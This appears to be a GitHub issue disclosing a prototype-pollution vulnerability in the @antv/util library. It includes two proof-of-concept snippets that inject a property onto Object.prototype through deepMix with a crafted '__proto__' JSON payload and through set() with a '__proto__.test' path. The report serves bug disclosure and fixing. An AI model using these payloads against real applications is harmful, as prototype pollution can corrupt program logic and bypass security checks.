Open
Description
复现代码1:
let deepMix = require("@antv/util").deepMix;
let BAD_JSON = JSON.parse('{"__proto__":{"test":123}}');
let obj = {};
deepMix(obj, BAD_JSON);
console.log({}.test); // 123
问题代码:
Lines 42 to 47 in c499a30
复现代码2:
let set = require("@antv/util").set;
let obj = {};
set(obj, "__proto__.test", 123);
console.log({}.test); // 123
问题代码:
Lines 5 to 29 in c499a30
Metadata
Metadata
Assignees
Labels
No labels